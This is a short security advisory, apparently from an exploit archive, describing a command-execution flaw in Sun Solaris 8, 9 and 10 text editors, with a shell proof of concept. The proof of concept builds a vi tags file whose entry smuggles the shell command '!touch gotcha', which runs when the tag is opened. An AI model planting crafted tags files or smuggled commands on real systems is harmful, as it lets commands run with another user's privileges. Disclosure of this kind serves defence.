Sun Solaris 910 Text Editors - Command Execution

source: https://www.securityfocus.com/bid/31229/info

Sun Solaris text editors are prone to a command-execution vulnerability.

An attacker may leverage this issue to execute arbitrary commands with the privileges of another user on the affected computer.

Sun Solaris 8, 9, and 10 are affected. 

$ echo "This is line 1" > file1
$ echo "file1line1<TAB>file1<TAB>:1|!touch gotcha" > tags
$ ls
file1   tags
$ vi -t file1line1
:q!
$ ls
file1   gotcha   tags
$